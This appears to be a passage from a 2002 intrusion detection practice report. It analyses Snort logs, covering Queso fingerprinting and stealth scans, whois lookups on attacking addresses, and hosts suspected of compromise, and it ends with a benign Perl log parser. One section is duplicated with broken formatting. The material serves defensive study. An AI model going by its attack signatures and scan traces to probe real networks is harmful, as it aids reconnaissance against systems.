rank #8	2325 alerts	**205.188.132.67**	2 signatures	MY.NET.153.171, MY.NET.153.193
rank #9	2289 alerts	**211.233.29.218**	1 signatures	(21 source IPs)
rank #10	2045 alerts	**MY.NET.153.175**	3 signatures	(1630 source IPs)

Top 10 external sources extracted from Scan Logs

Source IP	**Frequency**
64.124.157.16	**14867**
64.124.157.10	**4860**
66.28.225.156	**3314**
64.232.138.142	**3251**
66.28.8.69	**3033**
63.250.219.154	**2812**
66.28.14.37	**2793**
66.28.14.36	**2617**
63.250.219.190	**2592**
63.250.219.189	**2396**

Link Graphs

Both link graphs were constructed using the Microsoft PowerPoint application. External source IP's and log counts were pulled from the concatenated scan file from over the five-day period April 1, 2002 through April 5, 2002. The first graph consists of a total of 342 sources that were tallied and grouped into 26 countries by origin in order to demonstrate the percentage of activity observed from each country. The second graph demonstrates each countries total log count over the course of the five-day period; a total of 123457 logs in all.

Graph 1

Graph 2

Top 5 External talkers from Out Of Spec Logs

Source IP	Frequency
202.153.244.62	13
217.80.78.17	13
142.51.44.123	7
192.115.135.8	5
24.141.97.182	3

Data pulled from top 5 external talkers from Out Of Spec Logs

1

```
04/04-22:31:36.600958 202.153.244.62:46211 -> MY.NET.150.83:80
TCP TTL:44 TOS:0x0 ID:61254  DF
21S***** Seq: 0xF7FC63A9   Ack: 0x0   Win: 0x16D0
TCP Options => MSS: 1460 SackOK TS: 55217391 0 EOL EOL EOL EOL

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
04/04-22:32:12.627530 202.153.244.62:46411 -> MY.NET.150.83:80
TCP TTL:44 TOS:0x0 ID:38481  DF
21S***** Seq: 0xF9650D51   Ack: 0x0   Win: 0x16D0
TCP Options => MSS: 1460 SackOK TS: 55220992 0 EOL EOL EOL EOL

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
04/04-22:32:50.433282 202.153.244.62:46488 -> MY.NET.150.83:80
TCP TTL:44 TOS:0x0 ID:61500  DF
21S***** Seq: 0xFC4559FA   Ack: 0x0   Win: 0x16D0
TCP Options => MSS: 1460 SackOK TS: 55224774 0 EOL EOL EOL EOL

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```


Top 5 External talkers from Out Of Spec Logs

Source IP	Frequency
202.153.244.62	13
217.80.78.17	13
142.51.44.123	7
192.115.135.8	5
24.141.97.182	3

Data pulled from top 5 external talkers from Out Of Spec Logs

1

```
04/04-22:31:36.600958 202.153.244.62:46211 -> MY.NET.150.83:80
TCP TTL:44 TOS:0x0 ID:61254  DF
```

21S***** Seq: 0xF7FC63A9   Ack: 0x0   Win: 0x16D0
TCP Options => MSS: 1460 SackOK TS: 55217391 0 EOL EOL EOL EOL

=+
04/04-22:32:12.627530 202.153.244.62:46411 -> MY.NET.150.83:80
TCP TTL:44 TOS:0x0 ID:38481 DF
21S***** Seq: 0xF9650D51   Ack: 0x0   Win: 0x16D0
TCP Options => MSS: 1460 SackOK TS: 55220992 0 EOL EOL EOL EOL

=+
04/04-22:32:50.433282 202.153.244.62:46488 -> MY.NET.150.83:80
TCP TTL:44 TOS:0x0 ID:61500 DF
21S***** Seq: 0xFC4559FA   Ack: 0x0   Win: 0x16D0
TCP Options => MSS: 1460 SackOK TS: 55224774 0 EOL EOL EOL EOL

=+
04/04-22:32:54.014058 202.153.244.62:46509 -> MY.NET.150.83:80
TCP TTL:44 TOS:0x0 ID:177 DF
21S***** Seq: 0xFC5BAB9F   Ack: 0x0   Win: 0x16D0
TCP Options => MSS: 1460 SackOK TS: 55225134 0 EOL EOL EOL EOL

=+
04/04-22:33:37.156725 202.153.244.62:46686 -> MY.NET.150.83:80
TCP TTL:44 TOS:0x0 ID:36886 DF
21S***** Seq: 0xFEC82C1A   Ack: 0x0   Win: 0x16D0
TCP Options => MSS: 1460 SackOK TS: 55229452 0 EOL EOL EOL EOL

=+

Source IP 202.153.244.62 is performing a fingerprint scan against destination IP MY.NET.150.83 on port 80 to determine the operating system in use. Based on the session data, a grep from the alert logs and some additional research found http://project.honeynet.org/scans/arch/scan5.txt the tool in use is identified as Queso. The behavior of Queso to fingerprint a system is to set the reserve bits along with the SYN flag. Below is the standard behavior of Queso:

SYN's = 4 (2 of which set the reserved bits(13th byte of the tcp header)
SYN | ACK = 2
P = 2
SYN | FIN =2
FIN = 2
FIN | ACK = 2

This activity should be considered hostile and appropriate measures should be taken. Although this source IP is considered hostile the event did not make the top severity list because it is considered to be a reconnaissance scan and no additional activity was seen over the 5 day period. Needless to say SANS should monitor this source for future activity.

2

04/03-08:44:56.221891 217.80.78.17:51580 -> MY.NET.150.143:4662
TCP TTL:53 TOS:0x0 ID:37009 DF
21S***** Seq: 0x95F21E2B   Ack: 0x0   Win: 0x16B0
TCP Options => MSS: 1412 SackOK TS: 87854778 0 EOL EOL EOL EOL

=+
04/03-09:15:20.229595 217.80.78.17:52113 -> MY.NET.150.143:4662
TCP TTL:53 TOS:0x0 ID:17778 DF
21S***** Seq: 0x8B7122E   Ack: 0x0   Win: 0x16B0
TCP Options => MSS: 1412 SackOK TS: 88037212 0 EOL EOL EOL EOL

```
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
04/03-10:15:54.729481 217.80.78.17:53167 -> MY.NET.150.143:4662
TCP TTL:53 TOS:0x0 ID:49260  DF
21S***** Seq: 0xED99234A   Ack: 0x0   Win: 0x16B0
TCP Options => MSS: 1412 SackOK TS: 88400678 0 EOL EOL EOL EOL

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
04/03-10:46:18.960561 217.80.78.17:53720 -> MY.NET.150.143:4662
TCP TTL:53 TOS:0x0 ID:32737  DF
21S***** Seq: 0x604FD423   Ack: 0x0   Win: 0x16B0
TCP Options => MSS: 1412 SackOK TS: 88583106 0 EOL EOL EOL EOL

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
04/03-11:16:40.248146 217.80.78.17:54244 -> MY.NET.150.143:4662
TCP TTL:53 TOS:0x0 ID:55526  DF
21S***** Seq: 0xD34BABF2   Ack: 0x0   Win: 0x16B0
TCP Options => MSS: 1412 SackOK TS: 88765204 0 EOL EOL EOL EOL

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

Source IP appears to be fingerprinting destination IP MY.NET.150.143 on port 4662 using the Queso tool. Port 4662 is used by a a peer-to-peer file sharing application called Edonkey.
As discussed above Queso probes hosts to determine the type of operating system in use. Please see above for additional details on Queso. Although no additional activity was seen from the source IP over 5 days SANS should consider this activity to be hostile and the source should be blocked at the gateway.

3

```
04/04-00:42:47.978710 142.51.44.123:1900 -> MY.NET.88.162:1214
TCP TTL:115 TOS:0x0 ID:16024  DF
*1SFRPAU Seq: 0x12CA55B   Ack: 0xBBBAA0   Win: 0x5010
01 2C A5 5B 00 BB BA A0 1E BF 50 10 1D 28 70 F5  .,.[......P..(p.
00 00 00 00 00 00                                ......

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
04/04-01:49:54.178235 142.51.44.123:1900 -> MY.NET.88.162:1214
TCP TTL:115 TOS:0x0 ID:45817  DF
*1SF**** Seq: 0x12CA55B   Ack: 0x9C021   Win: 0x5010
TCP Options => EOL EOL EOL EOL EOL EOL SackOK NOP NOP SackOK EOL EOL EOL EOL

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
04/04-01:49:54.178235 142.51.44.123:1900 -> MY.NET.88.162:1214
TCP TTL:115 TOS:0x0 ID:45817  DF
*1SF**** Seq: 0x12CA55B   Ack: 0x9C021   Win: 0x5010
TCP Options => EOL EOL EOL EOL EOL EOL SackOK NOP NOP SackOK EOL EOL EOL EOL

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
04/04-01:52:50.349038 142.51.44.123:9 -> MY.NET.88.162:1900
TCP TTL:115 TOS:0x0 ID:59175  DF
2*SFR**U Seq: 0x4BE012C   Ack: 0xA55BC07F   Win: 0x5010
TCP Options => EOL EOL EOL EOL EOL EOL SackOK

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
04/04-01:54:27.669069 142.51.44.123:21 -> MY.NET.88.162:1900
TCP TTL:115 TOS:0x0 ID:10557  DF
*1SF*PAU Seq: 0x4BE012C   Ack: 0xA55BC0A8   Win: 0x5010
TCP Options => EOL EOL EOL EOL EOL EOL SackOK NOP NOP TS: 0 0 EOL EOL EOL EOL

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

The source IP 142.51.44.123 attempted to bypass your firewall using crafted packets of mixed flag settings and high and low source ports. Only destination IP MY.NET.88.162

was targeted in this scan for ports 1900 and 1214. Seen below a grep from the Alert logs provides correlation with this activity from the same source and destination IP's.

Grep from Alert logs

04/04-00:49:35.547807 [**] spp_portscan: PORTSCAN DETECTED from 142.51.44.123 (STEALTH) [**]
04/04-00:49:36.585086 [**] spp_portscan: portscan status from 142.51.44.123: 1 connections across 1 hosts: TCP(1), UDP(0) STEALTH [**]
04/04-00:49:37.775678 [**] spp_portscan: End of portscan from 142.51.44.123: TOTAL time(0s) hosts(1) TCP(1) UDP(0) STEALTH [**]
04/04-01:19:34.961299 [**] spp_portscan: PORTSCAN DETECTED from 142.51.44.123 (STEALTH) [**]

4

```
04/02-13:29:53.403159 192.115.135.8:45920 -> MY.NET.5.92:80
TCP TTL:46 TOS:0x0 ID:20276 DF
21S***** Seq: 0xC12F8504 Ack: 0x0 Win: 0x1638
TCP Options => MSS: 1422 NOP NOP SackOK NOP WS: 0

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
04/02-13:29:55.503336 192.115.135.8:45921 -> MY.NET.5.92:80
TCP TTL:46 TOS:0x0 ID:33039 DF
21S***** Seq: 0xC0B04A0E Ack: 0x0 Win: 0x1638
TCP Options => MSS: 1422 NOP NOP SackOK NOP WS: 0

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
04/02-13:30:15.651664 192.115.135.8:45938 -> MY.NET.5.96:80
TCP TTL:46 TOS:0x0 ID:38274 DF
21S***** Seq: 0xC2054763 Ack: 0x0 Win: 0x1638
TCP Options => MSS: 1422 NOP NOP SackOK NOP WS: 0

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
04/02-13:30:17.155696 192.115.135.8:45939 -> MY.NET.5.96:80
TCP TTL:46 TOS:0x0 ID:58984 DF
21S***** Seq: 0xC291351F Ack: 0x0 Win: 0x1638
TCP Options => MSS: 1422 NOP NOP SackOK NOP WS: 0

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
04/02-13:30:19.199747 192.115.135.8:45941 -> MY.NET.5.96:80
TCP TTL:46 TOS:0x0 ID:32291 DF
21S***** Seq: 0xC29AAA66 Ack: 0x0 Win: 0x1638
TCP Options => MSS: 1422 NOP NOP SackOK NOP WS: 0

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

Source IP 192.115.135.8 attempted to fingerprint destination IP MY.NET.5.92 and MY.NET.5.96 on port 80 using the Queso scanning tool. Please see above for details on Queso and for recommendations.
A grep from the alert logs seen below correlates this activity.

Grep from Alert Logs

04/02-13:37:18.298232 [**] spp_portscan: PORTSCAN DETECTED from 192.115.135.8 (STEALTH) [**]
04/02-13:27:56.963760 [**] Queso fingerprint [**] 192.115.135.8:45920 -> MY.NET.5.92:80
04/02-13:27:59.063595 [**] Queso fingerprint [**] 192.115.135.8:45921 -> MY.NET.5.92:80
04/02-13:37:19.740361 [**] spp_portscan: portscan status from 192.115.135.8: 1 connections across 1 hosts: TCP(1), UDP(0) STEALTH [**]

5

```
04/02-19:53:18.792710 24.141.97.182:0 -> MY.NET.153.153:6699
TCP TTL:110 TOS:0x0 ID:50052 DF
```

```
21**R*A* Seq: 0x66000F5   Ack: 0x4BFC0007   Win: 0x5010
4B FC 00 07 24 D4 50 10 1F 20 68 2B 00 00 00 00  K...$.P.. h+....
00 00                                            ..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
04/02-19:56:51.296002 24.141.97.182:0 -> MY.NET.153.153:6699
TCP TTL:110 TOS:0x0 ID:38807  DF
*1SFRP*U Seq: 0x66000F9   Ack: 0x73200009   Win: 0x5010
TCP Options => EOL EOL EOL EOL EOL EOL SackOK

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
04/02-19:57:54.580824 24.141.97.182:6699 -> MY.NET.153.153:1632
TCP TTL:110 TOS:0x0 ID:15773  DF
*1SFR**U Seq: 0xFA4FA6   Ack: 0xA   Win: 0x5010
21 E2 39 E4 00 00 00 00 00 00                    !.9.....

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

Source IP 24.141.97.182 attempted to bypass your firewall or intrusion detection system using a combination of flag bit settings from crafted packets. Note the flag settings and the source port of zero which are considered undefined settings in an IP packet giving evidence that these are indeed crafted packets. The only target IP MY.NET.153.153 was probed for ports 6699 and 1632. Most likely this is a NULL scan based on the use of source port 0. Seen below a grep from the alert logs additional support that this is a NULL scan.

Grep from Alert Logs

```
04/02-20:04:03.284448  [**] spp_portscan: PORTSCAN DETECTED from 24.141.97.182 (STEALTH) [**]
04/02-19:50:43.047080  [**] Null scan! [**] 24.141.97.182:6699 -> MY.NET.153.153:1632
04/02-19:50:43.047080  [**] Null scan! [**] 24.141.97.182:6699 -> MY.NET.153.153:1632
04/02-20:04:05.597903  [**] spp_portscan: portscan status from 24.141.97.182: 1 connections across 1 hosts: TCP(1), UDP(0)
STEALTH [**]
```

Five external Source IP whois registration queries

These IP's were chosen from Alert, Scan, and OOS files based on possible critical alerts.

208.228.181.250

PCAnywhere Login and Startup

whois -h whois.geektools.com 208.228.181.250 ...
Query: 208.228.181.250
Registry: whois.arin.net
Results:
UUNET Technologies, Inc. (NETBLK-UUNET1996B) UUNET1996B
208.192.0.0 - 208.255.255.255
Diebold (NETBLK-UU-208-228-181-D1) UU-208-228-181-D1
208.228.181.0 - 208.228.181.255

24.162.83.132

- 2 instances of *WEB-IIS encoding access*

- 2 instances of *WEB-MISC http directory traversal*
- 11 instances of *spp_http_decode: CGI Null Byte attack detected*
- 16 instances of *spp_http_decode: IIS Unicode attack detected*

ServiceCo LLC - Road Runner (NET-ROAD-RUNNER-5)
13241 Woodland Park Road
Herndon, VA 20171
US

Netname: ROAD-RUNNER-5
Netblock: 24.160.0.0 - 24.170.127.255
Maintainer: SCRR

Coordinator:
ServiceCo LLC (ZS30-ARIN) abuse@rr.com
1-703-345-3416

Domain System inverse mapping provided by:

DNS1.RR.COM	24.30.200.3
DNS2.RR.COM	24.30.201.3
DNS3.RR.COM	24.30.199.7
DNS4.RR.COM	65.24.0.172

Record last updated on 06-Aug-2001.
Database last updated on 27-Jul-2002 17:42:00 EDT.

63.16.114.130

WEB-MISC ICQ Webfront HTTP DOS (Depending on the criticality of the server attacked the attacker may have created, edited and/or shared documents)

whois -h whois.geektools.com 63.16.114.130 ...
Query: 63.16.114.130
Registry: whois.arin.net
Results:
UUNET Technologies, Inc. (NETBLK-NETBLK-UUNET97DU)
3060 Williams Drive, Suite 601

Fairfax, va 22031

US

Netname: NETBLK-UUNET97DU
Netblock: 63.0.0.0 - 63.63.255.255
Maintainer: UUDA

Coordinator:
UUNet, Technologies (OA12-ARIN) help@uu.net
1-800-900-0241

Domain System inverse mapping provided by:

DIALDNS1.UU.NET 153.39.194.10
DIALDNS2.UU.NET 153.39.194.26
DIALDNS200.NS.UU.NET 195.129.111.3
DIALDNS210.NS.UU.NET 195.129.111.4

ADDRESSES WITHIN THIS BLOCK ARE NON-PORTABLE

Record last updated on 26-Sep-2001.
Database last updated on 19-Jul-2002 20:01:26 EDT.

207.172.11.147

WebDav and Web-CGI ksh

RCN Corporation (NET-RCN-BLK-2)
105 Carnegie Center
Princeton, NJ 08540
US

Netname: RCN-BLK-2
Netblock: 207.172.0.0 - 207.172.255.255
Maintainer: RCN

Coordinator:
RCN Corporation (ZR40-ARIN) noc@rcn.com
888-972-6622

Domain System inverse mapping provided by:

AUTH1.DNS.RCN.NET 207.172.3.20
AUTH2.DNS.RCN.NET 206.138.112.20
AUTH3.DNS.RCN.NET 207.172.3.21
AUTH4.DNS.RCN.NET 207.172.3.22

Record last updated on 04-Apr-2001.
Database last updated on 27-Jul-2002 18:58:22 EDT.

64.124.157.16

Port 55850 udp - Possible myserver activity - ref. 010313-1

whois -h whois.geektools.com 64.124.157.16 ...
Query: 64.124.157.16
Registry: whois.arin.net
Results:
Abovenet Communications, Inc. (NETBLK-ABOVENET)
50 W. San Fernando Street, Suite 1010

San Jose, CA 95113

US

Netname: ABOVENET
Netblock: 64.124.0.0 - 64.125.255.255
Maintainer: ABVE

Coordinator:
Metromedia Fiber Networks/AboveNet (NOC41-ORG-ARIN) noc@ABOVE.NET
408-367-6666
Fax- 408-367-6688

Domain System inverse mapping provided by:

NS.ABOVE.NET 207.126.96.162
NS3.ABOVE.NET 207.126.105.146

ADDRESSES WITHIN THIS BLOCK ARE NON-PORTABLE

Record last updated on 27-Apr-2001.
Database last updated on 19-Jul-2002 20:01:26 EDT.

Possible Internal Systems Compromised

Based on the top 20 severity alerts the following systems should be investigated thoroughly for evidence of system compromise and/or misuse.

Internal Hosts	Attack Type
MY.NET.5.96	ksh, webdav-propfind and Isapi Overflow
MY.NET.5.95	Formmail
MY.NET.150.139	Formmail
MY.NET.149.0 netblock	RedWorm

MY.NET.152.0 netblock	RedWorm, Back Orifice
MY.NET.153.0 netblock	RedWorm, Back Orifice
MY.NET.88.189	RPC bin_sh
MY.NET.150.131	RPC bin_sh
MY.NET.88.130	RPC bin_sh
MY.NET.150.247	RPC bin_sh
MY.NET153.193	My Party Infection
MY.NET.153.170	My Party Infection
MY.NET.153.199	My Party Infection
MY.NET.150.143	Watchlist 000222 NET-NCFC
MY.NET.153.153	Watchlist 000222 NET-NCFC
MY.NET.88.186	Watchlist 000222 NET-NCFC
MY.NET.153.164	Watchlist 000222 NET-NCFC

References

CERT Coordination Center "Vulnerabilty Note VU#172583"
URL: http://www.kb.cert.org/vuls/id/172583 (November 12, 2001)

SecurityFocus Online "Multiple Vendor CDE dtspcd Buffer Overflow Vulnerability"
URL: http://online.securityfocus.com/bid/3517 (November 6, 2001)

Podrezov, Alexey. F-Secure "F-Secure Virus Descriptions"
URL: http://www.europe.f-secure.com/v-descs/subseven.shtml

Internet Security Systems Security Alert "A New Version of the SubSeven Backdoor"
URL: http://bvlive01.iss.net/issEn/delivery/xforce/alertdetail.jsp?id=advise73 (March 12 ,2001)

Exploit and Discovery By: Charles Chear

SecurityFocus Online "ICQ Web Front DoS" October 7, 2000
URL: http://online.securityfocus.com/archive/1/138332

CVE Vulnerability Database "CVE-2000-0869"
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0869 (January 22, 2001)

SecurityFocus Online "SuSE Apache WebDAV Directory Listings Vulnerability"
URL: http://online.securityfocus.com/bid/1656/solution/ (September 7, 2000)

Security tracker "FormMail.pl Web-to-Email CGI Script Allows Unauthorized Users to Send Mail (e.g., spam) Anonymously"
URL: http://securitytracker.com/alerts/2001/Mar/1001108.html (March 16, 2001)

WHITEHATS arachNIDS - The Intrusion Event Database "IDS200/WEB-IIS_HTTP-IIS_ENCODING"
URL: http://www.whitehats.com/cgi/arachNIDS/Show?_id=ids200&view=event

CERT Coordination Center "Advisory CA-2001-13 Buffer Overflow In IIS Indexing Service DLL"
URL: http://www.cert.org/advisories/CA-2001-13.html (June 19, 2001)

CVE Common Vulnerabilities and Exposures "CVE-2000-0884"
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0884 (January 22, 2001)

Holland, Jeff "GIAC Practical Assignment"
URL: http://www.giac.org/practical/Jeff_Holland_GCIA.doc (May 22, 2001)

Podrezov, A., Rautiainen, S., Kesti, V-J, Hyppönen, M: F-Secure Corp "F-Secure Virus Descriptions"
URL: http://www.f-secure.com/v-descs/myparty.shtml (January 28, 2002)

Yuen, Rick W. "GIAC Intrusion Detection, Practical Assignment"
URL: http://www.giac.org/practical/Rick_Yuen_GCIA.doc (October 11, 2001)

Ein Imprint des Markt&Technik Buch- und Software- Verlag GmbH
Elektronische Fassung des Titels: Special Edition: Access 97, ISBN: 3-8272-1013-5
URL:
http://translate.google.com/translate?hl=en&sl=de&u=http://www.netsystems.ch/support/access97SpecEd/htindex.htm&prev=/search%3Fq%3D%2522cougar%2Bmedia%2Bserver%2522%26hl%3Den%26lr%3D%26ie%3DUTF-8%26oe%3DUTF-8

Rautiainen, Sami: F-Secure "F-Secure Virus Descriptions"
URL: http://www.europe.f-secure.com/v-descs/adore.shtml (April 2001)

Rain Forest Puppy: Phrack Magazine, vol.9 "Perl CGI Problems"
URL: http://www.phrack.com/show.php?p=55&a=8 (September 9, 1999)

Stewart, Joe: Neohapsis "CGI Null Byte Attack"
URL: http://archives.neohapsis.com/archives/snort/2000-11/0244.html (November 20, 2000)

Berkers, John: Neohapsis ""IIS Unicode attack detected"
URL: http://archives.neohapsis.com/archives/snort/2001-08/0528.html (August 13, 2001)

Appendix A

Tools Used in the Analysis Process

SnortSnarf v020516.1
Vi text editor
awk
Perl 5.6.0
Microsoft Access 2000
Microsoft PowerPoint

Analysis Process

All alert, scan, and oos logs ranging from April 1, 2002 through April 5, 2002 were pulled from the SANS GIAC database and copied into a separate directory. This date range was selected because many of the more recent dates were missing and may have resulted in a less consistent analysis of all data.

Alert Logs

Due to the large size of the alert log files (approximately 50 MB each) I was unable to concatenate all five days worth of files together and push them through SnortSnarf. Instead I had to run each file through SnortSnarf on an individual basis and then append the results together afterwards and totaled up the alerts. In order to get the data to parse correctly in SnortSnarf I had to edit the alert files by replacing the first two octets MY.NET with 192.168 using the following command in the vi text editor, *1,$s/MY.NET/192.168/g*.

Scan logs

The scan logs were concatenated together using the following command *cat scans.020401 scans.020402 scans.020403 scans.020404 scans.020405 >> scans*. A Perl script seen below was used to sort the source IP's together in the scans file and then pushed through Microsoft Access 2000 to extract external source IP and log count. Two

Microsoft PowerPoint graphs were created to demonstrate the percentage of country origins along with the total log count from each country.

```
#!/usr/bin/perl

print STDERR "Processing file: $ARGV[0]\n";

open FILE, $ARGV[0]
   or die "can't open file";

while (<FILE>) {
   $i++;

   if (/^(\w+\s+\d+\s\d+:\d+:\d+)\s+(.+):(\d+)\s->\s(.+):(\d+)\s+(.*)$/){

      ## Debugging
      ##print "1: $1\t2: $2\t3: $3\t4: $4\t5: $5\t6: $6\n";

      ##print "$1,$2,$3,$4,$5,$6\n";
   } else {

      print;
   }


}

close FILE;
print STDERR "Processed $i lines in file: $ARGV[0]\n";

exit 0;
```

OOS

The out of spec logs were concatenated together into one file. This single file was rather small in size and was easily viewable manually. The *grep* command was used to pull the top external source IP information from them.